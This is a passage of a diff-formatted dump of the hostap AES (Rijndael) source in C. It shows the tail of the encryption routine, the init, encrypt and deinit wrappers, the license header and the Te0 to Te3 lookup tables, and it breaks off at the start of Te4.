ROUND(1,t,s);
|
||||
ROUND(2,s,t);
|
||||
ROUND(3,t,s);
|
||||
ROUND(4,s,t);
|
||||
ROUND(5,t,s);
|
||||
ROUND(6,s,t);
|
||||
ROUND(7,t,s);
|
||||
ROUND(8,s,t);
|
||||
ROUND(9,t,s);
|
||||
|
||||
rk += Nr << 2;
|
||||
|
||||
#else /* !FULL_UNROLL */
|
||||
|
||||
/* Nr - 1 full rounds: */
|
||||
r = Nr >> 1;
|
||||
for (;;) {
|
||||
ROUND(1,t,s);
|
||||
rk += 8;
|
||||
if (--r == 0)
|
||||
break;
|
||||
ROUND(0,s,t);
|
||||
}
|
||||
|
||||
#endif /* ?FULL_UNROLL */
|
||||
|
||||
#undef ROUND
|
||||
|
||||
/*
|
||||
* apply last round and
|
||||
* map cipher state to byte array block:
|
||||
*/
|
||||
s0 = TE41(t0) ^ TE42(t1) ^ TE43(t2) ^ TE44(t3) ^ rk[0];
|
||||
PUTU32(ct , s0);
|
||||
s1 = TE41(t1) ^ TE42(t2) ^ TE43(t3) ^ TE44(t0) ^ rk[1];
|
||||
PUTU32(ct + 4, s1);
|
||||
s2 = TE41(t2) ^ TE42(t3) ^ TE43(t0) ^ TE44(t1) ^ rk[2];
|
||||
PUTU32(ct + 8, s2);
|
||||
s3 = TE41(t3) ^ TE42(t0) ^ TE43(t1) ^ TE44(t2) ^ rk[3];
|
||||
PUTU32(ct + 12, s3);
|
||||
}
|
||||
|
||||
|
||||
void * aes_encrypt_init(const u8 *key, size_t len)
|
||||
{
|
||||
u32 *rk;
|
||||
if (len != 16)
|
||||
return NULL;
|
||||
rk = os_malloc(AES_PRIV_SIZE);
|
||||
if (rk == NULL)
|
||||
return NULL;
|
||||
rijndaelKeySetupEnc(rk, key);
|
||||
return rk;
|
||||
}
|
||||
|
||||
|
||||
void aes_encrypt(void *ctx, const u8 *plain, u8 *crypt)
|
||||
{
|
||||
rijndaelEncrypt(ctx, plain, crypt);
|
||||
}
|
||||
|
||||
|
||||
void aes_encrypt_deinit(void *ctx)
|
||||
{
|
||||
os_memset(ctx, 0, AES_PRIV_SIZE);
|
||||
os_free(ctx);
|
||||
}
|
|
@ -0,0 +1,805 @@
|
|||
/*
|
||||
* AES (Rijndael) cipher
|
||||
*
|
||||
* Modifications to public domain implementation:
|
||||
* - support only 128-bit keys
|
||||
* - cleanup
|
||||
* - use C pre-processor to make it easier to change S table access
|
||||
* - added option (AES_SMALL_TABLES) for reducing code size by about 8 kB at
|
||||
* cost of reduced throughput (quite small difference on Pentium 4,
|
||||
* 10-25% when using -O1 or -O2 optimization)
|
||||
*
|
||||
* Copyright (c) 2003-2005, Jouni Malinen <j@w1.fi>
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License version 2 as
|
||||
* published by the Free Software Foundation.
|
||||
*
|
||||
* Alternatively, this software may be distributed under the terms of BSD
|
||||
* license.
|
||||
*
|
||||
* See README and COPYING for more details.
|
||||
*/
|
||||
|
||||
#include "includes.h"
|
||||
|
||||
#include "common.h"
|
||||
#include "crypto.h"
|
||||
#include "aes_i.h"
|
||||
|
||||
/*
|
||||
* rijndael-alg-fst.c
|
||||
*
|
||||
* @version 3.0 (December 2000)
|
||||
*
|
||||
* Optimised ANSI C code for the Rijndael cipher (now AES)
|
||||
*
|
||||
* @author Vincent Rijmen <vincent.rijmen@esat.kuleuven.ac.be>
|
||||
* @author Antoon Bosselaers <antoon.bosselaers@esat.kuleuven.ac.be>
|
||||
* @author Paulo Barreto <paulo.barreto@terra.com.br>
|
||||
*
|
||||
* This code is hereby placed in the public domain.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE AUTHORS ''AS IS'' AND ANY EXPRESS
|
||||
* OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
|
||||
* WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHORS OR CONTRIBUTORS BE
|
||||
* LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
|
||||
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR
|
||||
* BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
|
||||
* WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE
|
||||
* OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
|
||||
* EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
|
||||
/*
|
||||
Te0[x] = S [x].[02, 01, 01, 03];
|
||||
Te1[x] = S [x].[03, 02, 01, 01];
|
||||
Te2[x] = S [x].[01, 03, 02, 01];
|
||||
Te3[x] = S [x].[01, 01, 03, 02];
|
||||
Te4[x] = S [x].[01, 01, 01, 01];
|
||||
|
||||
Td0[x] = Si[x].[0e, 09, 0d, 0b];
|
||||
Td1[x] = Si[x].[0b, 0e, 09, 0d];
|
||||
Td2[x] = Si[x].[0d, 0b, 0e, 09];
|
||||
Td3[x] = Si[x].[09, 0d, 0b, 0e];
|
||||
Td4[x] = Si[x].[01, 01, 01, 01];
|
||||
*/
|
||||
|
||||
const u32 Te0[256] = {
|
||||
0xc66363a5U, 0xf87c7c84U, 0xee777799U, 0xf67b7b8dU,
|
||||
0xfff2f20dU, 0xd66b6bbdU, 0xde6f6fb1U, 0x91c5c554U,
|
||||
0x60303050U, 0x02010103U, 0xce6767a9U, 0x562b2b7dU,
|
||||
0xe7fefe19U, 0xb5d7d762U, 0x4dababe6U, 0xec76769aU,
|
||||
0x8fcaca45U, 0x1f82829dU, 0x89c9c940U, 0xfa7d7d87U,
|
||||
0xeffafa15U, 0xb25959ebU, 0x8e4747c9U, 0xfbf0f00bU,
|
||||
0x41adadecU, 0xb3d4d467U, 0x5fa2a2fdU, 0x45afafeaU,
|
||||
0x239c9cbfU, 0x53a4a4f7U, 0xe4727296U, 0x9bc0c05bU,
|
||||
0x75b7b7c2U, 0xe1fdfd1cU, 0x3d9393aeU, 0x4c26266aU,
|
||||
0x6c36365aU, 0x7e3f3f41U, 0xf5f7f702U, 0x83cccc4fU,
|
||||
0x6834345cU, 0x51a5a5f4U, 0xd1e5e534U, 0xf9f1f108U,
|
||||
0xe2717193U, 0xabd8d873U, 0x62313153U, 0x2a15153fU,
|
||||
0x0804040cU, 0x95c7c752U, 0x46232365U, 0x9dc3c35eU,
|
||||
0x30181828U, 0x379696a1U, 0x0a05050fU, 0x2f9a9ab5U,
|
||||
0x0e070709U, 0x24121236U, 0x1b80809bU, 0xdfe2e23dU,
|
||||
0xcdebeb26U, 0x4e272769U, 0x7fb2b2cdU, 0xea75759fU,
|
||||
0x1209091bU, 0x1d83839eU, 0x582c2c74U, 0x341a1a2eU,
|
||||
0x361b1b2dU, 0xdc6e6eb2U, 0xb45a5aeeU, 0x5ba0a0fbU,
|
||||
0xa45252f6U, 0x763b3b4dU, 0xb7d6d661U, 0x7db3b3ceU,
|
||||
0x5229297bU, 0xdde3e33eU, 0x5e2f2f71U, 0x13848497U,
|
||||
0xa65353f5U, 0xb9d1d168U, 0x00000000U, 0xc1eded2cU,
|
||||
0x40202060U, 0xe3fcfc1fU, 0x79b1b1c8U, 0xb65b5bedU,
|
||||
0xd46a6abeU, 0x8dcbcb46U, 0x67bebed9U, 0x7239394bU,
|
||||
0x944a4adeU, 0x984c4cd4U, 0xb05858e8U, 0x85cfcf4aU,
|
||||
0xbbd0d06bU, 0xc5efef2aU, 0x4faaaae5U, 0xedfbfb16U,
|
||||
0x864343c5U, 0x9a4d4dd7U, 0x66333355U, 0x11858594U,
|
||||
0x8a4545cfU, 0xe9f9f910U, 0x04020206U, 0xfe7f7f81U,
|
||||
0xa05050f0U, 0x783c3c44U, 0x259f9fbaU, 0x4ba8a8e3U,
|
||||
0xa25151f3U, 0x5da3a3feU, 0x804040c0U, 0x058f8f8aU,
|
||||
0x3f9292adU, 0x219d9dbcU, 0x70383848U, 0xf1f5f504U,
|
||||
0x63bcbcdfU, 0x77b6b6c1U, 0xafdada75U, 0x42212163U,
|
||||
0x20101030U, 0xe5ffff1aU, 0xfdf3f30eU, 0xbfd2d26dU,
|
||||
0x81cdcd4cU, 0x180c0c14U, 0x26131335U, 0xc3ecec2fU,
|
||||
0xbe5f5fe1U, 0x359797a2U, 0x884444ccU, 0x2e171739U,
|
||||
0x93c4c457U, 0x55a7a7f2U, 0xfc7e7e82U, 0x7a3d3d47U,
|
||||
0xc86464acU, 0xba5d5de7U, 0x3219192bU, 0xe6737395U,
|
||||
0xc06060a0U, 0x19818198U, 0x9e4f4fd1U, 0xa3dcdc7fU,
|
||||
0x44222266U, 0x542a2a7eU, 0x3b9090abU, 0x0b888883U,
|
||||
0x8c4646caU, 0xc7eeee29U, 0x6bb8b8d3U, 0x2814143cU,
|
||||
0xa7dede79U, 0xbc5e5ee2U, 0x160b0b1dU, 0xaddbdb76U,
|
||||
0xdbe0e03bU, 0x64323256U, 0x743a3a4eU, 0x140a0a1eU,
|
||||
0x924949dbU, 0x0c06060aU, 0x4824246cU, 0xb85c5ce4U,
|
||||
0x9fc2c25dU, 0xbdd3d36eU, 0x43acacefU, 0xc46262a6U,
|
||||
0x399191a8U, 0x319595a4U, 0xd3e4e437U, 0xf279798bU,
|
||||
0xd5e7e732U, 0x8bc8c843U, 0x6e373759U, 0xda6d6db7U,
|
||||
0x018d8d8cU, 0xb1d5d564U, 0x9c4e4ed2U, 0x49a9a9e0U,
|
||||
0xd86c6cb4U, 0xac5656faU, 0xf3f4f407U, 0xcfeaea25U,
|
||||
0xca6565afU, 0xf47a7a8eU, 0x47aeaee9U, 0x10080818U,
|
||||
0x6fbabad5U, 0xf0787888U, 0x4a25256fU, 0x5c2e2e72U,
|
||||
0x381c1c24U, 0x57a6a6f1U, 0x73b4b4c7U, 0x97c6c651U,
|
||||
0xcbe8e823U, 0xa1dddd7cU, 0xe874749cU, 0x3e1f1f21U,
|
||||
0x964b4bddU, 0x61bdbddcU, 0x0d8b8b86U, 0x0f8a8a85U,
|
||||
0xe0707090U, 0x7c3e3e42U, 0x71b5b5c4U, 0xcc6666aaU,
|
||||
0x904848d8U, 0x06030305U, 0xf7f6f601U, 0x1c0e0e12U,
|
||||
0xc26161a3U, 0x6a35355fU, 0xae5757f9U, 0x69b9b9d0U,
|
||||
0x17868691U, 0x99c1c158U, 0x3a1d1d27U, 0x279e9eb9U,
|
||||
0xd9e1e138U, 0xebf8f813U, 0x2b9898b3U, 0x22111133U,
|
||||
0xd26969bbU, 0xa9d9d970U, 0x078e8e89U, 0x339494a7U,
|
||||
0x2d9b9bb6U, 0x3c1e1e22U, 0x15878792U, 0xc9e9e920U,
|
||||
0x87cece49U, 0xaa5555ffU, 0x50282878U, 0xa5dfdf7aU,
|
||||
0x038c8c8fU, 0x59a1a1f8U, 0x09898980U, 0x1a0d0d17U,
|
||||
0x65bfbfdaU, 0xd7e6e631U, 0x844242c6U, 0xd06868b8U,
|
||||
0x824141c3U, 0x299999b0U, 0x5a2d2d77U, 0x1e0f0f11U,
|
||||
0x7bb0b0cbU, 0xa85454fcU, 0x6dbbbbd6U, 0x2c16163aU,
|
||||
};
|
||||
#ifndef AES_SMALL_TABLES
|
||||
const u32 Te1[256] = {
|
||||
0xa5c66363U, 0x84f87c7cU, 0x99ee7777U, 0x8df67b7bU,
|
||||
0x0dfff2f2U, 0xbdd66b6bU, 0xb1de6f6fU, 0x5491c5c5U,
|
||||
0x50603030U, 0x03020101U, 0xa9ce6767U, 0x7d562b2bU,
|
||||
0x19e7fefeU, 0x62b5d7d7U, 0xe64dababU, 0x9aec7676U,
|
||||
0x458fcacaU, 0x9d1f8282U, 0x4089c9c9U, 0x87fa7d7dU,
|
||||
0x15effafaU, 0xebb25959U, 0xc98e4747U, 0x0bfbf0f0U,
|
||||
0xec41adadU, 0x67b3d4d4U, 0xfd5fa2a2U, 0xea45afafU,
|
||||
0xbf239c9cU, 0xf753a4a4U, 0x96e47272U, 0x5b9bc0c0U,
|
||||
0xc275b7b7U, 0x1ce1fdfdU, 0xae3d9393U, 0x6a4c2626U,
|
||||
0x5a6c3636U, 0x417e3f3fU, 0x02f5f7f7U, 0x4f83ccccU,
|
||||
0x5c683434U, 0xf451a5a5U, 0x34d1e5e5U, 0x08f9f1f1U,
|
||||
0x93e27171U, 0x73abd8d8U, 0x53623131U, 0x3f2a1515U,
|
||||
0x0c080404U, 0x5295c7c7U, 0x65462323U, 0x5e9dc3c3U,
|
||||
0x28301818U, 0xa1379696U, 0x0f0a0505U, 0xb52f9a9aU,
|
||||
0x090e0707U, 0x36241212U, 0x9b1b8080U, 0x3ddfe2e2U,
|
||||
0x26cdebebU, 0x694e2727U, 0xcd7fb2b2U, 0x9fea7575U,
|
||||
0x1b120909U, 0x9e1d8383U, 0x74582c2cU, 0x2e341a1aU,
|
||||
0x2d361b1bU, 0xb2dc6e6eU, 0xeeb45a5aU, 0xfb5ba0a0U,
|
||||
0xf6a45252U, 0x4d763b3bU, 0x61b7d6d6U, 0xce7db3b3U,
|
||||
0x7b522929U, 0x3edde3e3U, 0x715e2f2fU, 0x97138484U,
|
||||
0xf5a65353U, 0x68b9d1d1U, 0x00000000U, 0x2cc1ededU,
|
||||
0x60402020U, 0x1fe3fcfcU, 0xc879b1b1U, 0xedb65b5bU,
|
||||
0xbed46a6aU, 0x468dcbcbU, 0xd967bebeU, 0x4b723939U,
|
||||
0xde944a4aU, 0xd4984c4cU, 0xe8b05858U, 0x4a85cfcfU,
|
||||
0x6bbbd0d0U, 0x2ac5efefU, 0xe54faaaaU, 0x16edfbfbU,
|
||||
0xc5864343U, 0xd79a4d4dU, 0x55663333U, 0x94118585U,
|
||||
0xcf8a4545U, 0x10e9f9f9U, 0x06040202U, 0x81fe7f7fU,
|
||||
0xf0a05050U, 0x44783c3cU, 0xba259f9fU, 0xe34ba8a8U,
|
||||
0xf3a25151U, 0xfe5da3a3U, 0xc0804040U, 0x8a058f8fU,
|
||||
0xad3f9292U, 0xbc219d9dU, 0x48703838U, 0x04f1f5f5U,
|
||||
0xdf63bcbcU, 0xc177b6b6U, 0x75afdadaU, 0x63422121U,
|
||||
0x30201010U, 0x1ae5ffffU, 0x0efdf3f3U, 0x6dbfd2d2U,
|
||||
0x4c81cdcdU, 0x14180c0cU, 0x35261313U, 0x2fc3ececU,
|
||||
0xe1be5f5fU, 0xa2359797U, 0xcc884444U, 0x392e1717U,
|
||||
0x5793c4c4U, 0xf255a7a7U, 0x82fc7e7eU, 0x477a3d3dU,
|
||||
0xacc86464U, 0xe7ba5d5dU, 0x2b321919U, 0x95e67373U,
|
||||
0xa0c06060U, 0x98198181U, 0xd19e4f4fU, 0x7fa3dcdcU,
|
||||
0x66442222U, 0x7e542a2aU, 0xab3b9090U, 0x830b8888U,
|
||||
0xca8c4646U, 0x29c7eeeeU, 0xd36bb8b8U, 0x3c281414U,
|
||||
0x79a7dedeU, 0xe2bc5e5eU, 0x1d160b0bU, 0x76addbdbU,
|
||||
0x3bdbe0e0U, 0x56643232U, 0x4e743a3aU, 0x1e140a0aU,
|
||||
0xdb924949U, 0x0a0c0606U, 0x6c482424U, 0xe4b85c5cU,
|
||||
0x5d9fc2c2U, 0x6ebdd3d3U, 0xef43acacU, 0xa6c46262U,
|
||||
0xa8399191U, 0xa4319595U, 0x37d3e4e4U, 0x8bf27979U,
|
||||
0x32d5e7e7U, 0x438bc8c8U, 0x596e3737U, 0xb7da6d6dU,
|
||||
0x8c018d8dU, 0x64b1d5d5U, 0xd29c4e4eU, 0xe049a9a9U,
|
||||
0xb4d86c6cU, 0xfaac5656U, 0x07f3f4f4U, 0x25cfeaeaU,
|
||||
0xafca6565U, 0x8ef47a7aU, 0xe947aeaeU, 0x18100808U,
|
||||
0xd56fbabaU, 0x88f07878U, 0x6f4a2525U, 0x725c2e2eU,
|
||||
0x24381c1cU, 0xf157a6a6U, 0xc773b4b4U, 0x5197c6c6U,
|
||||
0x23cbe8e8U, 0x7ca1ddddU, 0x9ce87474U, 0x213e1f1fU,
|
||||
0xdd964b4bU, 0xdc61bdbdU, 0x860d8b8bU, 0x850f8a8aU,
|
||||
0x90e07070U, 0x427c3e3eU, 0xc471b5b5U, 0xaacc6666U,
|
||||
0xd8904848U, 0x05060303U, 0x01f7f6f6U, 0x121c0e0eU,
|
||||
0xa3c26161U, 0x5f6a3535U, 0xf9ae5757U, 0xd069b9b9U,
|
||||
0x91178686U, 0x5899c1c1U, 0x273a1d1dU, 0xb9279e9eU,
|
||||
0x38d9e1e1U, 0x13ebf8f8U, 0xb32b9898U, 0x33221111U,
|
||||
0xbbd26969U, 0x70a9d9d9U, 0x89078e8eU, 0xa7339494U,
|
||||
0xb62d9b9bU, 0x223c1e1eU, 0x92158787U, 0x20c9e9e9U,
|
||||
0x4987ceceU, 0xffaa5555U, 0x78502828U, 0x7aa5dfdfU,
|
||||
0x8f038c8cU, 0xf859a1a1U, 0x80098989U, 0x171a0d0dU,
|
||||
0xda65bfbfU, 0x31d7e6e6U, 0xc6844242U, 0xb8d06868U,
|
||||
0xc3824141U, 0xb0299999U, 0x775a2d2dU, 0x111e0f0fU,
|
||||
0xcb7bb0b0U, 0xfca85454U, 0xd66dbbbbU, 0x3a2c1616U,
|
||||
};
|
||||
const u32 Te2[256] = {
|
||||
0x63a5c663U, 0x7c84f87cU, 0x7799ee77U, 0x7b8df67bU,
|
||||
0xf20dfff2U, 0x6bbdd66bU, 0x6fb1de6fU, 0xc55491c5U,
|
||||
0x30506030U, 0x01030201U, 0x67a9ce67U, 0x2b7d562bU,
|
||||
0xfe19e7feU, 0xd762b5d7U, 0xabe64dabU, 0x769aec76U,
|
||||
0xca458fcaU, 0x829d1f82U, 0xc94089c9U, 0x7d87fa7dU,
|
||||
0xfa15effaU, 0x59ebb259U, 0x47c98e47U, 0xf00bfbf0U,
|
||||
0xadec41adU, 0xd467b3d4U, 0xa2fd5fa2U, 0xafea45afU,
|
||||
0x9cbf239cU, 0xa4f753a4U, 0x7296e472U, 0xc05b9bc0U,
|
||||
0xb7c275b7U, 0xfd1ce1fdU, 0x93ae3d93U, 0x266a4c26U,
|
||||
0x365a6c36U, 0x3f417e3fU, 0xf702f5f7U, 0xcc4f83ccU,
|
||||
0x345c6834U, 0xa5f451a5U, 0xe534d1e5U, 0xf108f9f1U,
|
||||
0x7193e271U, 0xd873abd8U, 0x31536231U, 0x153f2a15U,
|
||||
0x040c0804U, 0xc75295c7U, 0x23654623U, 0xc35e9dc3U,
|
||||
0x18283018U, 0x96a13796U, 0x050f0a05U, 0x9ab52f9aU,
|
||||
0x07090e07U, 0x12362412U, 0x809b1b80U, 0xe23ddfe2U,
|
||||
0xeb26cdebU, 0x27694e27U, 0xb2cd7fb2U, 0x759fea75U,
|
||||
0x091b1209U, 0x839e1d83U, 0x2c74582cU, 0x1a2e341aU,
|
||||
0x1b2d361bU, 0x6eb2dc6eU, 0x5aeeb45aU, 0xa0fb5ba0U,
|
||||
0x52f6a452U, 0x3b4d763bU, 0xd661b7d6U, 0xb3ce7db3U,
|
||||
0x297b5229U, 0xe33edde3U, 0x2f715e2fU, 0x84971384U,
|
||||
0x53f5a653U, 0xd168b9d1U, 0x00000000U, 0xed2cc1edU,
|
||||
0x20604020U, 0xfc1fe3fcU, 0xb1c879b1U, 0x5bedb65bU,
|
||||
0x6abed46aU, 0xcb468dcbU, 0xbed967beU, 0x394b7239U,
|
||||
0x4ade944aU, 0x4cd4984cU, 0x58e8b058U, 0xcf4a85cfU,
|
||||
0xd06bbbd0U, 0xef2ac5efU, 0xaae54faaU, 0xfb16edfbU,
|
||||
0x43c58643U, 0x4dd79a4dU, 0x33556633U, 0x85941185U,
|
||||
0x45cf8a45U, 0xf910e9f9U, 0x02060402U, 0x7f81fe7fU,
|
||||
0x50f0a050U, 0x3c44783cU, 0x9fba259fU, 0xa8e34ba8U,
|
||||
0x51f3a251U, 0xa3fe5da3U, 0x40c08040U, 0x8f8a058fU,
|
||||
0x92ad3f92U, 0x9dbc219dU, 0x38487038U, 0xf504f1f5U,
|
||||
0xbcdf63bcU, 0xb6c177b6U, 0xda75afdaU, 0x21634221U,
|
||||
0x10302010U, 0xff1ae5ffU, 0xf30efdf3U, 0xd26dbfd2U,
|
||||
0xcd4c81cdU, 0x0c14180cU, 0x13352613U, 0xec2fc3ecU,
|
||||
0x5fe1be5fU, 0x97a23597U, 0x44cc8844U, 0x17392e17U,
|
||||
0xc45793c4U, 0xa7f255a7U, 0x7e82fc7eU, 0x3d477a3dU,
|
||||
0x64acc864U, 0x5de7ba5dU, 0x192b3219U, 0x7395e673U,
|
||||
0x60a0c060U, 0x81981981U, 0x4fd19e4fU, 0xdc7fa3dcU,
|
||||
0x22664422U, 0x2a7e542aU, 0x90ab3b90U, 0x88830b88U,
|
||||
0x46ca8c46U, 0xee29c7eeU, 0xb8d36bb8U, 0x143c2814U,
|
||||
0xde79a7deU, 0x5ee2bc5eU, 0x0b1d160bU, 0xdb76addbU,
|
||||
0xe03bdbe0U, 0x32566432U, 0x3a4e743aU, 0x0a1e140aU,
|
||||
0x49db9249U, 0x060a0c06U, 0x246c4824U, 0x5ce4b85cU,
|
||||
0xc25d9fc2U, 0xd36ebdd3U, 0xacef43acU, 0x62a6c462U,
|
||||
0x91a83991U, 0x95a43195U, 0xe437d3e4U, 0x798bf279U,
|
||||
0xe732d5e7U, 0xc8438bc8U, 0x37596e37U, 0x6db7da6dU,
|
||||
0x8d8c018dU, 0xd564b1d5U, 0x4ed29c4eU, 0xa9e049a9U,
|
||||
0x6cb4d86cU, 0x56faac56U, 0xf407f3f4U, 0xea25cfeaU,
|
||||
0x65afca65U, 0x7a8ef47aU, 0xaee947aeU, 0x08181008U,
|
||||
0xbad56fbaU, 0x7888f078U, 0x256f4a25U, 0x2e725c2eU,
|
||||
0x1c24381cU, 0xa6f157a6U, 0xb4c773b4U, 0xc65197c6U,
|
||||
0xe823cbe8U, 0xdd7ca1ddU, 0x749ce874U, 0x1f213e1fU,
|
||||
0x4bdd964bU, 0xbddc61bdU, 0x8b860d8bU, 0x8a850f8aU,
|
||||
0x7090e070U, 0x3e427c3eU, 0xb5c471b5U, 0x66aacc66U,
|
||||
0x48d89048U, 0x03050603U, 0xf601f7f6U, 0x0e121c0eU,
|
||||
0x61a3c261U, 0x355f6a35U, 0x57f9ae57U, 0xb9d069b9U,
|
||||
0x86911786U, 0xc15899c1U, 0x1d273a1dU, 0x9eb9279eU,
|
||||
0xe138d9e1U, 0xf813ebf8U, 0x98b32b98U, 0x11332211U,
|
||||
0x69bbd269U, 0xd970a9d9U, 0x8e89078eU, 0x94a73394U,
|
||||
0x9bb62d9bU, 0x1e223c1eU, 0x87921587U, 0xe920c9e9U,
|
||||
0xce4987ceU, 0x55ffaa55U, 0x28785028U, 0xdf7aa5dfU,
|
||||
0x8c8f038cU, 0xa1f859a1U, 0x89800989U, 0x0d171a0dU,
|
||||
0xbfda65bfU, 0xe631d7e6U, 0x42c68442U, 0x68b8d068U,
|
||||
0x41c38241U, 0x99b02999U, 0x2d775a2dU, 0x0f111e0fU,
|
||||
0xb0cb7bb0U, 0x54fca854U, 0xbbd66dbbU, 0x163a2c16U,
|
||||
};
|
||||
const u32 Te3[256] = {
|
||||
|
||||
0x6363a5c6U, 0x7c7c84f8U, 0x777799eeU, 0x7b7b8df6U,
|
||||
0xf2f20dffU, 0x6b6bbdd6U, 0x6f6fb1deU, 0xc5c55491U,
|
||||
0x30305060U, 0x01010302U, 0x6767a9ceU, 0x2b2b7d56U,
|
||||
0xfefe19e7U, 0xd7d762b5U, 0xababe64dU, 0x76769aecU,
|
||||
0xcaca458fU, 0x82829d1fU, 0xc9c94089U, 0x7d7d87faU,
|
||||
0xfafa15efU, 0x5959ebb2U, 0x4747c98eU, 0xf0f00bfbU,
|
||||
0xadadec41U, 0xd4d467b3U, 0xa2a2fd5fU, 0xafafea45U,
|
||||
0x9c9cbf23U, 0xa4a4f753U, 0x727296e4U, 0xc0c05b9bU,
|
||||
0xb7b7c275U, 0xfdfd1ce1U, 0x9393ae3dU, 0x26266a4cU,
|
||||
0x36365a6cU, 0x3f3f417eU, 0xf7f702f5U, 0xcccc4f83U,
|
||||
0x34345c68U, 0xa5a5f451U, 0xe5e534d1U, 0xf1f108f9U,
|
||||
0x717193e2U, 0xd8d873abU, 0x31315362U, 0x15153f2aU,
|
||||
0x04040c08U, 0xc7c75295U, 0x23236546U, 0xc3c35e9dU,
|
||||
0x18182830U, 0x9696a137U, 0x05050f0aU, 0x9a9ab52fU,
|
||||
0x0707090eU, 0x12123624U, 0x80809b1bU, 0xe2e23ddfU,
|
||||
0xebeb26cdU, 0x2727694eU, 0xb2b2cd7fU, 0x75759feaU,
|
||||
0x09091b12U, 0x83839e1dU, 0x2c2c7458U, 0x1a1a2e34U,
|
||||
0x1b1b2d36U, 0x6e6eb2dcU, 0x5a5aeeb4U, 0xa0a0fb5bU,
|
||||
0x5252f6a4U, 0x3b3b4d76U, 0xd6d661b7U, 0xb3b3ce7dU,
|
||||
0x29297b52U, 0xe3e33eddU, 0x2f2f715eU, 0x84849713U,
|
||||
0x5353f5a6U, 0xd1d168b9U, 0x00000000U, 0xeded2cc1U,
|
||||
0x20206040U, 0xfcfc1fe3U, 0xb1b1c879U, 0x5b5bedb6U,
|
||||
0x6a6abed4U, 0xcbcb468dU, 0xbebed967U, 0x39394b72U,
|
||||
0x4a4ade94U, 0x4c4cd498U, 0x5858e8b0U, 0xcfcf4a85U,
|
||||
0xd0d06bbbU, 0xefef2ac5U, 0xaaaae54fU, 0xfbfb16edU,
|
||||
0x4343c586U, 0x4d4dd79aU, 0x33335566U, 0x85859411U,
|
||||
0x4545cf8aU, 0xf9f910e9U, 0x02020604U, 0x7f7f81feU,
|
||||
0x5050f0a0U, 0x3c3c4478U, 0x9f9fba25U, 0xa8a8e34bU,
|
||||
0x5151f3a2U, 0xa3a3fe5dU, 0x4040c080U, 0x8f8f8a05U,
|
||||
0x9292ad3fU, 0x9d9dbc21U, 0x38384870U, 0xf5f504f1U,
|
||||
0xbcbcdf63U, 0xb6b6c177U, 0xdada75afU, 0x21216342U,
|
||||
0x10103020U, 0xffff1ae5U, 0xf3f30efdU, 0xd2d26dbfU,
|
||||
0xcdcd4c81U, 0x0c0c1418U, 0x13133526U, 0xecec2fc3U,
|
||||
0x5f5fe1beU, 0x9797a235U, 0x4444cc88U, 0x1717392eU,
|
||||
0xc4c45793U, 0xa7a7f255U, 0x7e7e82fcU, 0x3d3d477aU,
|
||||
0x6464acc8U, 0x5d5de7baU, 0x19192b32U, 0x737395e6U,
|
||||
0x6060a0c0U, 0x81819819U, 0x4f4fd19eU, 0xdcdc7fa3U,
|
||||
0x22226644U, 0x2a2a7e54U, 0x9090ab3bU, 0x8888830bU,
|
||||
0x4646ca8cU, 0xeeee29c7U, 0xb8b8d36bU, 0x14143c28U,
|
||||
0xdede79a7U, 0x5e5ee2bcU, 0x0b0b1d16U, 0xdbdb76adU,
|
||||
0xe0e03bdbU, 0x32325664U, 0x3a3a4e74U, 0x0a0a1e14U,
|
||||
0x4949db92U, 0x06060a0cU, 0x24246c48U, 0x5c5ce4b8U,
|
||||
0xc2c25d9fU, 0xd3d36ebdU, 0xacacef43U, 0x6262a6c4U,
|
||||
0x9191a839U, 0x9595a431U, 0xe4e437d3U, 0x79798bf2U,
|
||||
0xe7e732d5U, 0xc8c8438bU, 0x3737596eU, 0x6d6db7daU,
|
||||
0x8d8d8c01U, 0xd5d564b1U, 0x4e4ed29cU, 0xa9a9e049U,
|
||||
0x6c6cb4d8U, 0x5656faacU, 0xf4f407f3U, 0xeaea25cfU,
|
||||
0x6565afcaU, 0x7a7a8ef4U, 0xaeaee947U, 0x08081810U,
|
||||
0xbabad56fU, 0x787888f0U, 0x25256f4aU, 0x2e2e725cU,
|
||||
0x1c1c2438U, 0xa6a6f157U, 0xb4b4c773U, 0xc6c65197U,
|
||||
0xe8e823cbU, 0xdddd7ca1U, 0x74749ce8U, 0x1f1f213eU,
|
||||
0x4b4bdd96U, 0xbdbddc61U, 0x8b8b860dU, 0x8a8a850fU,
|
||||
0x707090e0U, 0x3e3e427cU, 0xb5b5c471U, 0x6666aaccU,
|
||||
0x4848d890U, 0x03030506U, 0xf6f601f7U, 0x0e0e121cU,
|
||||
0x6161a3c2U, 0x35355f6aU, 0x5757f9aeU, 0xb9b9d069U,
|
||||
0x86869117U, 0xc1c15899U, 0x1d1d273aU, 0x9e9eb927U,
|
||||
0xe1e138d9U, 0xf8f813ebU, 0x9898b32bU, 0x11113322U,
|
||||
0x6969bbd2U, 0xd9d970a9U, 0x8e8e8907U, 0x9494a733U,
|
||||
0x9b9bb62dU, 0x1e1e223cU, 0x87879215U, 0xe9e920c9U,
|
||||
0xcece4987U, 0x5555ffaaU, 0x28287850U, 0xdfdf7aa5U,
|
||||
0x8c8c8f03U, 0xa1a1f859U, 0x89898009U, 0x0d0d171aU,
|
||||
0xbfbfda65U, 0xe6e631d7U, 0x4242c684U, 0x6868b8d0U,
|
||||
0x4141c382U, 0x9999b029U, 0x2d2d775aU, 0x0f0f111eU,
|
||||
0xb0b0cb7bU, 0x5454fca8U, 0xbbbbd66dU, 0x16163a2cU,
|
||||
};
|
||||
const u32 Te4[256] = {
|
||||
0x63636363U, 0x7c7c7c7cU, 0x77777777U, 0x7b7b7b7bU,
